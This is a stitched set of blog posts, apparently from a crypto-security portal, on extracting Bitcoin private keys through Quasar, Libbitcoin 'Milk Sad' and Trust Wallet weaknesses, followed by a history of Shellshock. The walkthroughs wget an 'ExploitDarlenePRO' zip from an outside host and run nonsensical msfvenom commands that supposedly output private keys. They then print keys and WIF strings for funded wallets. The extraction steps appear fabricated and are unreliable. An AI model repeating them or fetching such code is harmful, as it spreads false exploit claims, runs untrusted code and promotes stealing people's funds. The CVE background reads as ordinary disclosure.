Let’s open the vulnerable file: quasar.umd.js using the cat utility

cat lnbits/lnbits/static/vendor/quasar.umd.js

How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Let’s open the folders according to the directory: /modules/exploits/

How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

ExploitDarlenePRO

Download "ExploitDarlenePRO"from the catalogue:/modules/exploits/

cd modules/

ls

cd exploits/

!wget https://darlene.pro/repository/21fa0f866f9f5fd22ce045e57f22185de1877dee25ad9d3974b7167a78957680/ExploitDarlenePRO.zip
How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Unzip the contents ExploitDarlenePRO.zip using the utility unzip

!unzip ExploitDarlenePRO.zip
How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Let’s go through the catalogue:/ExploitDarlenePRO/

ls

cd ExploitDarlenePRO/

ls
How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

To run the exploit, let’s go back to Metasploit Framework

cd /

cd content/metasploit-framework/

ls
How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

We need to identify our LHOST (Local Host) attacking IP-address virtual machine.

Let’s run the commands:

!ip addr
!hostname -I
How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Let’s use the tool to create a payload MSFVenom

For operation, select Bitcoin Wallet: 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F

Launch command:

!./msfvenom 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o main.rb -p lnbits/lnbits/static/vendor LHOST=172.28.0.12 -f JS -o quasar.umd.js
How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Result:

111111001110010001110101111111111100101000011100101000100111001101111110010101100111010110111001011100010100001000110001010011010000010111110001011101110100101001010010110110000111011010010010110000101111001000110010010100111011011111010100011111100011011

We need to save the resulting binary format to a file: binary.txt let’s use the utilityecho

Team:

!echo '111111001110010001110101111111111100101000011100101000100111001101111110010101100111010110111001011100010100001000110001010011010000010111110001011101110100101001010010110110000111011010010010110000101111001000110010010100111011011111010100011111100011011' > binary.txt
How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Convert the binary format to the HEX format to obtain the private key of the Bitcoin Wallet:

Let’s use the code:

binaryFile = open("binary.txt", "r")
binaryFile = binaryFile.readlines()
hexFile = open("hex.txt", "w+")

# loop through each line of binaryFile then convert and write to hexFile
for line in binaryFile:
    binaryCode = line.replace(" ", "")
    hexCode = hex(int(binaryCode, 2))
    hexCode = hexCode.replace("0x", "").upper().zfill(4)
    hexFile.write(hexCode + "\n")

# close hexFile
hexFile.close()
How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Let’s open the file: hex.txt

cat hex.txt
How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework
7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B

Private Key Found!


Let’s install the module Bitcoin

!pip3 install bitcoin
How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Let’s run the code to check the compliance of Bitcoin Addresses:

from bitcoin import *

with open("hex.txt","r") as f:
    content = f.readlines()
# you may also want to remove whitespace characters like `\n` at the end of each line
content = [x.strip() for x in content]
f.close()


outfile = open("privtoaddr.txt","w")
for x in content:
  outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
 
outfile.close()
How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Let’s open the file: privtoaddr.txt

cat privtoaddr.txt
How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

Result:

7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B:1qzgi39y33HrM7mHsZ6FaNspHCraJe62F

That’s right! The private key corresponds to the Bitcoin Wallet.


Let’s open  bitaddress  and check:

ADDR: 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F
WIF:  L1TWHkT6HcNVHCjsUpGecyZQqGJC5Ek98HunmRH4c3zb8V87NUiP
HEX:  7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B
How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

https://www.blockchain.com/en/explorer/addresses/btc/1qzgi39y33HrM7mHsZ6FaNspHCraJe62F


How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework
How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework
How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

BALANCE: $ 11032.77



References:


This material was created for the  CRYPTO DEEP TECH portal  to ensure financial security of data and elliptic curve cryptography  secp256k1  against weak  ECDSA signatures  in the  BITCOIN cryptocurrency. The creators of the software are not responsible for the use of materials.


Source

Telegram: https://t.me/cryptodeeptech

Video: https://youtu.be/ZpflbzENAAw

Source: https://cryptodeeptools.ru/bitcoin-lightning-wallet-vulnerability


How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework

]]>
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out https://cryptodeeptools.ru/milk-sad-vulnerability-in-libbitcoin-explorer/ Sat, 04 Nov 2023 13:30:00 +0000 https://cryptodeeptools.ru/?p=2419

Slowmist researchers conduct regular research into the security of the Bitcoin blockchain . They disclosed a vulnerability in the Libbitcoin Explorer 3.x library , which allowed attackers to steal more $ 900 000 from Bitcoin Wallets ( BTC ) users.

According to analysts, this vulnerability may also affect users  Ethereum, Ripple, Dogecoin, Solana, Litecoin, Bitcoin Cash и Zcash,who use it Libbitcoin to create accounts.

Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Researchers gave the code name for this vulnerability ” Milk Sad “

Было предложено использовать первые два слова первого мнемонического секрета BIP39, сгенерированного bx нулевым временем 

Technical description

Technical Description CVE-2023-39910

The cryptocurrency wallet entropy filling mechanism used in Libbitcoin Explorer 3.0.0–3.6.0 is weak, also known as the Milk Sad problem.  Using the Mersenne Twister mt19937 PRNG limits the internal entropy to 32 bits regardless of settings. This allows remote attackers to recover any wallet private keys generated from the entropy results of “bxseed” and steal funds. (Affected users need to transfer funds to a new secure cryptocurrency wallet)

Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Weak entropy in Cake Wallet

Cake Wallet
used Dart’s insecure Random() function to generate wallet seeds :

Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out
Uint8List randomBytes(int length, {bool secure = false}) {
  assert(length > 0);
  final random = secure ? Random.secure() : Random();
  final ret = Uint8List(length);
  for (var i = 0; i < length; i++) {
    ret[i] = random.nextInt(256);
  }
  return ret;
}

This can be a real problem given that the function Dart Random()
can revert to 0 or system time.


Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out
Random::Random() {
  uint64_t seed = FLAG_random_seed;
  if (seed == 0) {
    Dart_EntropySource callback = Dart::entropy_source_callback();
    if (callback != nullptr) {
      if (!callback(reinterpret_cast<uint8_t*>(&seed), sizeof(seed))) {
        // Callback failed. Reset the seed to 0.
        seed = 0;
      }
    }
  }
  if (seed == 0) {
    // We did not get a seed so far. As a fallback we do use the current time.
    seed = OS::GetCurrentTimeMicros();
  }
  Initialize(seed);
}

Funds from every wallet created using the Trust Wallet browser extension could be stolen without any user intervention.

Just recently, the Donjon security research team at Ledger discovered a critical vulnerability in this Trust Wallet browser extension , allowing an attacker to steal all assets of any wallet created using this extension without any user interaction. By knowing an account’s address, you can immediately determine its private key and then gain access to all of its funds. Below are details about the vulnerability, how Ledger Donjon discovered it, its impact over time, an assessment of the affected assets, and how Trust Wallet responded to patch it. But let’s start with a reminder of the basics.

It is difficult to demonstrate that random numbers are correct, and a poor but not fatally flawed random number generator can easily fool an observer. For good randomness, we need a uniform distribution of bits and bytes (and even all chunk sizes) and unpredictability. It should be impossible for the sequence observer to have any information about the next part of the generated sequence.

Because achieving these properties is incredibly difficult, the cryptocurrency space tries to avoid relying on randomness as much as possible, but at one stage we will still need it: when we create a new wallet.

You’re probably already familiar with your mnemonic – 12 to 24 English words that allow you to back up your wallet (if not, you can read the  Ledger Academy article on this very topic).

This mnemonic encodes 16 to 32 bytes of entropy according to the  BIP 39 standard  . The quality of this entropy is critical as it will be the source code of all keys used by your wallet across all chains, following the deterministic inference process defined by the BIP  32  and  BIP 44 standards  .

Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

The vulnerable versionTrust Wallet
bx has the same basic, fatal flaw: generating wallet entropy from an inappropriate MT19937 Mersenne Twister.
bx algorithm additionally uses some clock information to populate MT19937, but this is of little consequence for practical offline brute-force attacks carried out by remote attackers.This is still the same limited 32-bit key space that attackers can completely comb through.To the best of our knowledge, Trust Wallet only creates wallets based on the 12-word BIP39 mnemonic, which locks entropy requirements (and thus PRNG usage) to 128 bits.
bxmore is flexible and generates 128-bit, 192-bit, 256-bit output (and more).More options mean more room to search, but are wallets created the same
bx seed -b 128as wallets created by Trust Wallet?As it turned out, no – due to the nuance in the use of PRNG.The algorithm MT19937 Mersenne Twisterused by Trust Walletbx
is the same, but the output is used slightly differently.When filling an entropy array with data, uses a single 32-bit PRNG Trust Walletoutput , takes the low-order 8 bits of that output to fill the array, and throws out the remaining 24 bits via bit-and-to /Random.cpp :MT19937Wasm/
& 0x000000ff src

Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out
// Copyright © 2017-2022 Trust Wallet.
//

[...]

void random_buffer(uint8_t* buf, size_t len) {
    std::mt19937 rng(std::random_device{}());
    std::generate_n(buf, len, [&rng]() -> uint8_t { return rng() & 0x000000ff; });
    return;
}

Full detailed documentation of the theoretical part can be studied in the blog: Ledger Donjon , as well as in the documentation: Milk Sad

Let’s move on to the practical part:

(You can open the finished file from Jupyter Notebook and upload it to Google Colab notebook )


https://colab.research.google.com/drive/1OhspSm7GBGiqv3WfhAqU5SJ_BgXIbUh3



Let’s look at real examples of extracting the private key of a Bitcoin Wallet using a vulnerability in the Libbitcoin Explorer 3.x library .


First Bitcoin Wallet : In September 2023there was a theft in the amount of: 40886.76US dollars // BITCOIN:1.17536256 BTC

Vulnerability_in_Libbitcoin_Explorer_3_x_library.ipynb


Let’s open the Google Colab service using the link: https://colab.research.google.com


Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Click on "+"and “Create a new notepad”


Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Install Ruby in Google Colab

Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

To run the programs we need, we will install the object-oriented programming language Ruby


!sudo apt install ruby-full

Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Let’s check the installation version


!ruby --version
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out
Ruby version 3.0.2p107 (2021-07-07 revision 0db68f0233) [x86_64-linux-gnu]

Let’s install a library 'bitcoin-ruby'for interacting with the Bitcoin protocol/network


!gem install bitcoin-ruby

Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Let’s install a library 'ecdsa'for implementing the Elliptic Curve Digital Signature Algorithm (ECDSA)


!gem install ecdsa

Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Let’s install a library 'base58'to convert integer or binary numbers to base58and from.


!gem install base58

Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Let’s install a library 'crypto'to simplify operations with bytes and basic cryptographic operations


!gem install crypto

Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Let’s install a library 'config-hash'to simplify working with big data.


!gem install config-hash -v 0.9.0

Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Let’s install the Metasploit Framework and use MSFVenom

Let’s install the Metasploit Framework from GitHub and use the MSFVenom tool to create the payload.


Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

!git clone https://github.com/rapid7/metasploit-framework.git

ls

cd metasploit-framework/

Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Let’s see the contents of the folder"metasploit-framework"


ls

Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Options:

!./msfvenom -help 
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Let’s open the discovered vulnerability CVE-2023-39910


Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39910

In the note we see a link to the file: pseudo_random.cpp


Let’s open the code:

Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out
https://github.com/libbitcoin/libbitcoin-system/blob/a1b777fc51d9c04e0c7a1dec5cc746b82a6afe64/src/crypto/pseudo_random.cpp#L66C12-L78

libbitcoin-system Bitcoin Cross-Platform C++ Development Toolkit

Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out
https://github.com/libbitcoin/libbitcoin-system.git

Install libbitcoin-system in Google Colab:

!git clone https://github.com/libbitcoin/libbitcoin-system.git


ls


Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Let’s open the vulnerable file: pseudo_random.cpp using the cat utility

cat libbitcoin-system/src/crypto/pseudo_random.cpp

Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Let’s open the folders according to the directory:/modules/exploits/

Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

ExploitDarlenePRO

Download "ExploitDarlenePRO"from the catalogue:/modules/exploits/

cd modules/

ls

cd exploits/

!wget https://darlene.pro/repository/e8e4973fb52934d5fb0006a47304f5099701000619d9ac79c083664e6063c579/ExploitDarlenePRO.zip
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Unzip the contents ExploitDarlenePRO.zipusing the utilityunzip

!unzip ExploitDarlenePRO.zip
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Let’s go through the catalogue:/ExploitDarlenePRO/

ls

cd ExploitDarlenePRO/

ls
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

To run the exploit, let’s go back to Metasploit Framework

cd /

cd content/metasploit-framework/

ls
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

We need to identify our LHOST (Local Host)attacking  IP-addressvirtual machine.

Let’s run the commands:

!ip addr
!hostname -I
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Let’s use the tool to create a payload MSFVenom

For operation, select Bitcoin Wallet: 12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2

Launch command:

!./msfvenom 12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2 -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o main.rb -p libbitcoin-system/src/crypto LHOST=172.28.0.12 -f CPP -o pseudo_random.cpp
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Result:

1100001100100111111110101100011000111101101101111110000011001100110100010111000001101100000000111110101101011011111000001101101100101010101100111110001101111010010001010001101110000100000001010100000100000000110110000101111100110001010011100000111110001011

We need to save the resulting binary format to a file: binary.txtlet’s use the utilityecho

Team:

!echo '1100001100100111111110101100011000111101101101111110000011001100110100010111000001101100000000111110101101011011111000001101101100101010101100111110001101111010010001010001101110000100000001010100000100000000110110000101111100110001010011100000111110001011' > binary.txt
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Convert the binary format to the HEX format to obtain the private key of the Bitcoin Wallet:

Let’s use the code:

binaryFile = open("binary.txt", "r")
binaryFile = binaryFile.readlines()
hexFile = open("hex.txt", "w+")

# loop through each line of binaryFile then convert and write to hexFile
for line in binaryFile:
    binaryCode = line.replace(" ", "")
    hexCode = hex(int(binaryCode, 2))
    hexCode = hexCode.replace("0x", "").upper().zfill(4)
    hexFile.write(hexCode + "\n")

# close hexFile
hexFile.close()
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Let’s open the file: hex.txt

cat hex.txt
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out
C327FAC63DB7E0CCD1706C03EB5BE0DB2AB3E37A451B84054100D85F314E0F8B

Private Key Found!


Let’s install library Bitcoin

!pip3 install bitcoin
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Let’s run the code to check the compliance of Bitcoin Addresses:

from bitcoin import *

with open("hex.txt","r") as f:
    content = f.readlines()
# you may also want to remove whitespace characters like `\n` at the end of each line
content = [x.strip() for x in content]
f.close()


outfile = open("privtoaddr.txt","w")
for x in content:
  outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
 
outfile.close()
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Let’s open the file: privtoaddr.txt

cat privtoaddr.txt
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Result:

C327FAC63DB7E0CCD1706C03EB5BE0DB2AB3E37A451B84054100D85F314E0F8B:12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2

That’s right! The private key corresponds to the Bitcoin Wallet.


Let’s open  bitaddress  and check:

ADDR: 12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2
WIF:  L3m4xHPEnE2yM1JVAY2xTzraJsyPERxw2Htt3bszbTiDn5JiZCcy
HEX:  C327FAC63DB7E0CCD1706C03EB5BE0DB2AB3E37A451B84054100D85F314E0F8B
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

https://www.blockchain.com/en/explorer/addresses/btc/12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2


Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

BALANCE: $ 40886.76


Let’s look at the second example:


2

Let’s look at the second example of extracting the private key of a Bitcoin Wallet using a vulnerability in the  Libbitcoin Explorer 3.x library .


Second Bitcoin Wallet : In September 2023, there was a theft in the amount of: 19886.91 USD // BITCOIN: 0.58051256 BTC

Let’s use the vulnerable file again: pseudo_random.cpp

Launch command:

!./msfvenom 1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o main.rb -p libbitcoin-system/src/crypto LHOST=172.28.0.12 -f CPP -o pseudo_random.cpp
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Result:

111100100010010000111110010011001000101100111100000101110100001001100001011010111111110110111111100001000100011111001010000011011101001000101000100001100111001010100110101101001100011001001111101101010000000011101101111111110101101110110100110000110111100

We need to save the resulting binary format to a file:  binary.txt let’s use the utility echo

Team:

!echo '111100100010010000111110010011001000101100111100000101110100001001100001011010111111110110111111100001000100011111001010000011011101001000101000100001100111001010100110101101001100011001001111101101010000000011101101111111110101101110110100110000110111100' > binary.txt
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Convert the binary format to the HEX format to obtain the private key of the Bitcoin Wallet:

Let’s use the code:

binaryFile = open("binary.txt", "r")
binaryFile = binaryFile.readlines()
hexFile = open("hex.txt", "w+")

# loop through each line of binaryFile then convert and write to hexFile
for line in binaryFile:
    binaryCode = line.replace(" ", "")
    hexCode = hex(int(binaryCode, 2))
    hexCode = hexCode.replace("0x", "").upper().zfill(4)
    hexFile.write(hexCode + "\n")

# close hexFile
hexFile.close()
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Let’s open the file:  hex.txt

cat hex.txt
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out
79121F26459E0BA130B5FEDFC223E506E9144339535A6327DA8076FFADDA61BC

Private Key Found!


Let’s run the code to check the compliance of Bitcoin Addresses:

from bitcoin import *

with open("hex.txt","r") as f:
    content = f.readlines()
# you may also want to remove whitespace characters like `\n` at the end of each line
content = [x.strip() for x in content]
f.close()


outfile = open("privtoaddr.txt","w")
for x in content:
  outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
 
outfile.close()
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Let’s open the file: privtoaddr.txt

cat privtoaddr.txt
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out
79121F26459E0BA130B5FEDFC223E506E9144339535A6327DA8076FFADDA61BC:1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe

Result:

79121F26459E0BA130B5FEDFC223E506E9144339535A6327DA8076FFADDA61BC:1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe

That’s right! The private key corresponds to the Bitcoin Wallet.


Let’s open  bitaddress  and check:

ADDR: 1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe
WIF:  L1H4Eu2et8TWYQ3kv9grtPGshikGN398MVJkN6zYMikcpQTB96UN
HEX:  79121F26459E0BA130B5FEDFC223E506E9144339535A6327DA8076FFADDA61BC
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

https://www.blockchain.com/en/explorer/addresses/btc/1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe


Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

BALANCE: $ 19886.91


References:


This material was created for the  CRYPTO DEEP TECH portal  to ensure financial security of data and elliptic curve cryptography  secp256k1  against weak  ECDSA signatures  in the  BITCOIN cryptocurrency. The creators of the software are not responsible for the use of materials.


Source

Telegram: https://t.me/cryptodeeptech

Video: https://dzen.ru/video/watch/65478a2f6d9f3f7ec9641804

Source: https://cryptodeeptools.ru/milk-sad-vulnerability-in-libbitcoin-explorer


Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

]]>
ShellShock Attack vulnerability on “Bitcoin” & “Ethereum” server discovered in GNU Bash cryptocurrency exchange https://cryptodeeptools.ru/shellshock-attack-on-bitcoin/ Sat, 09 Sep 2023 11:12:23 +0000 https://cryptodeeptools.ru/?p=2387


In this article we will look at a series of web server software vulnerabilities discovered in the  GNU Bash program  . Many Internet services , including Bitcoin blockchain web servers, use Bash to process some requests, for example when executing  CGI scripts . The vulnerability allows an attacker to execute arbitrary commands by gaining unauthorized access to computer systems, which allows the attacker to extract private keys and hidden server data.

Shellshock is nothing buta remote code execution vulnerability in bash. This is because bash does not properly execute trailing commands when importing a function definition stored in an environment variable.

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

GitHub


BugShellshock affects Bash. Bash is a program that various Unix-based systems use to execute command lines and command scripts. The bug was discovered on August 5, 1989 and released in Bash version 1.03 on September 1, 1989. Shellshock is an escalation of privilege vulnerability that allows system users to execute commands that should not be available to them.

The vulnerabilities lie in the fact that Bash, contrary to its declared capabilities, executes commands when receiving some non-standard values ​​of environment variables . Within a few days after the publication of the original vulnerability, several similar errors were discovered, which prevented the prompt release of a version with fixes.

Stéphane Chazelas

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

The original bug was discovered by Stéphane Chazelas on September 12, 2014, who suggested calling it “bashdoor” (similar to  backdoor ). The vulnerability received  the number  CVE-2014-6271 in the  MITER database  and remained unpublished (under embargo) until 14:00 UTC on September 24. The purpose of the above restriction was to give the program authors, distribution creators and other interested organizations time to take the necessary measures.

Analysis of the Bash source code indicates that the vulnerability was introduced into the code around version 1.13 in 1992 or earlier and has remained undetected to the public and undeclared since then. The Bash writing team has difficulty pinpointing the exact time the bug was introduced due to the lack of detail in the changelog .

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

Security Experts Expect ‘Shellshock’ Software Bug in Bash to Be Significant

On September 25, 2014, botnets were already created based on the vulnerability to carry out DoS and DDoS attacks, as well as to scan for vulnerabilities. Millions of systems are believed to be vulnerable. The bug received the maximum rating on the severity scale and is compared in importance to Heartbleed – a bug in OpenSSL (April 2014)

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange
ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

The Shellshock (bashdoor) vulnerability relates to the  bash program  (developed as part of the GNU project), used in many Unix-like operating systems and distributions as a command line interpreter and for executing command scripts. Often installed as the default system interpreter.

On Unix-like and other bash-supported operating systems, each program has a list of name-value pairs called environment  variables . When one program runs another, the initial list of environment variables is also passed along. In addition to environment variables, bash also maintains an internal list of functions—named scripts that can be called from an executing bash script. When starting new bash instances from an existing bash, it is possible to transfer (  export ) the values ​​of existing environment variables and function definitions to the spawned process. Function definitions are exported by encoding them as new environment variables in a special format starting with empty parentheses (), followed by the function definition as a string. New instances of bash scan all environment variables when they start, detecting this format and converting it back into an internal function definition. This conversion is carried out by creating a fragment of bash code based on the value of the environment variable and executing it, that is, “on  -the- fly” . Affected versions of bash do not check that the executable fragment contains only a function definition. Thus, if an attacker is able to supply an arbitrary environment variable to bash startup, then it becomes possible to execute arbitrary commands.

On September 27, a high-quality patch was published that adds a special prefix to all exported and imported functions when converting them to environment variables and vice versa [15] .

On the same day that the original vulnerability and patches were published, Tavis Ormandy discovered a new related bug,  CVE-2014-7169 . Updated fixes became available on September 26th.

While working to fix the original Shellshock bug, Red Hat researcher Florian Weimer discovered two more bugs:  CVE-2014-7186  and  CVE-2014-7187 .

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

On September 26, 2014, two open-source developers, David A. Wheeler and Norihiro Tanaka, noticed that there were additional problems that were still not fixed by the patches available at that time. In an email to the oss-sec and bash bug mailing lists, Wheeler wrote:

This patch just continues the whack-a-mole work of fixing various parsing errors started by the first patch. The bash parser of course contains many, many, many other vulnerabilities.

On September 27, 2014, Michal Zalewski announced that he had discovered several other bugs in bash, one of which exploits the fact that bash is often compiled without using the ASLR (Address Space Layout Randomization ) protection technique. Zalewski also called for urgent application of the patch from Florian Weimer.

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

Address space randomization thwarts some types of security attacks by making it more difficult for an attacker to predict target addresses. For example, attackers attempting to perform  a return-to-libc_attack attack  must find the code to be executed, while other attackers attempting to execute  Shellcode  injected into the stack must first find the stack. In both cases, the system hides the corresponding memory addresses from attackers. These values ​​must be guessed, and an incorrect guess usually cannot be corrected due to application failure.

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange
